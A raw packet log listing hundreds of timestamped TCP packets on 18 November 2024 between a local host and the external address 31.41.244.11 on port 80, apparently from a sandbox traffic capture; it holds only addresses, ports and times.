Nov 18, 2024 15:18:10.503400087 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.503958941 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.503994942 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.504014015 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.504029989 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.504038095 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.504070997 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.504076004 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.504117012 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.512501955 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.512557030 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.512569904 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.512593985 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.512603045 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.512631893 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.512633085 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.512676001 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.512818098 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.512875080 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.604314089 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.604335070 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.604348898 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.604408026 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.604423046 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.604427099 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.604469061 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.604769945 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.604782104 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.604794979 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.604820967 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.604847908 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.620002031 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.620038033 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.620073080 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.620122910 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.620157957 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.620500088 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.620569944 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.620632887 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.621047974 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.621100903 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.621143103 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.621181011 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.621196032 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.621217966 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.621232986 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.621263027 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.629179955 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.629216909 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.629252911 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.629257917 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.629280090 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.629301071 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.671618938 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.671653032 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.671749115 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.721544981 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.721606016 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.721643925 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.721688986 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.721728086 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.721729994 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.721766949 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.721816063 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.721914053 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.721950054 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.721962929 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.721987009 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.721993923 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.722028971 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.737030029 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.737224102 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.737298012 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.737788916 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.737808943 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.737823963 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.737832069 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.737837076 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.737857103 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.737873077 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.737906933 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.746336937 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.746351004 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.746364117 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.746376038 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.746390104 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.746530056 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.831401110 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.831478119 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.831604958 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.838985920 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.839008093 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.839020967 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.839032888 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.839046955 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.839095116 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.839117050 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.839385033 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.839396954 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.839409113 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.839443922 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.839459896 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.854993105 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.855017900 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.855034113 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.855046988 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.855062962 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.855093956 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.855130911 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.893239975 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.893256903 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.893270969 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.893281937 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.893296957 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.893361092 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.893383026 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.893914938 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.895328999 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.955389023 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.955414057 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.955426931 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.955535889 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.955621958 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.955748081 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.955795050 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.955802917 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.955837011 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.955894947 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.955913067 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.955926895 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.955957890 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.955984116 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.956918001 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.956932068 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.956944942 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.956979990 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.957000971 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.972187042 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.972213030 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.972224951 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.972237110 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.972287893 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.972296953 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.972301006 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:10.972315073 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:10.972347021 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.010212898 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.010226965 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.010241985 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.010263920 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.010288954 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.010494947 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.010508060 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.010526896 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.010540009 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.010545969 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.010565996 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.010595083 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.072712898 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.072725058 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.072767973 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.072782040 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.072788000 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.072793961 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.072843075 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.073004961 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.073050022 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.073052883 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.073067904 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.073093891 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.073110104 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.073539972 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.073551893 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.073563099 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.073589087 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.073621035 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.073853016 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.073901892 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.073980093 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.073993921 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.074038982 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.089200020 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.089252949 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.089288950 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.089301109 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.089332104 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.089344025 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.089344025 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.089358091 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.089389086 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.089401007 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.127470016 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.127494097 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.127507925 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.127520084 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.127532959 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.127541065 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.127573967 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.127612114 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.127775908 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.127789021 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.127808094 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.127831936 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.127831936 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.190713882 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.190730095 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.190743923 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.190789938 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.190830946 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.190851927 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.190866947 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.190907955 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.191014051 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.191025019 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.191037893 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.191057920 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.191076994 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.191387892 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.191400051 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.191414118 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.191451073 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.191483974 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.206389904 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.206439018 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.206451893 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.206454039 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.206464052 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.206480980 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.206501007 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.206629992 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.206654072 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.206667900 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.206675053 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.206700087 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.206718922 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.244569063 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.244584084 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.244600058 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.244623899 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.244636059 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.244653940 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.244707108 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.244707108 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.244869947 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.244882107 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.244894028 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.244918108 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.244965076 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.308043957 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.308063030 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.308078051 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.308093071 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.308114052 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.308137894 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.308151007 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.308163881 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.308178902 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.308191061 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.308192968 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.308231115 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.308232069 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.308255911 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.309031963 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.309087038 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.309242964 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.309294939 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.309818029 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.309871912 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.323389053 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.323414087 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.323426008 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.323451042 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.323474884 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.323587894 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.323612928 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.323623896 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.323657036 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.323673010 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.323678970 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.323692083 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.323736906 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.361807108 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.361826897 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.361839056 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.361852884 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.361866951 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.361953974 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.361953974 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.362150908 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.362164021 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.362176895 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.362210989 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.362273932 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.424890041 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.424926996 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.424942017 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.424959898 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.425025940 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.425035000 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.425071001 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.425085068 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.425113916 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.425143003 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.425231934 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.425273895 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.425287008 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.425321102 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.425348997 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.425657988 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.425916910 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.425939083 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.425956011 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.440371037 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.440397024 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.440413952 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.440431118 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.440463066 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.440509081 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.440608025 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.440655947 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.440687895 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.440736055 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.440802097 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.440850973 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.441026926 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.441039085 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.441060066 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.441071987 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.441078901 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.441111088 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.441112995 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.441152096 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.478825092 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.478869915 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.478883982 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.478903055 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.478910923 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.478918076 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.478956938 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.478998899 CET	49847	80	192.168.2.9	31.41.244.11
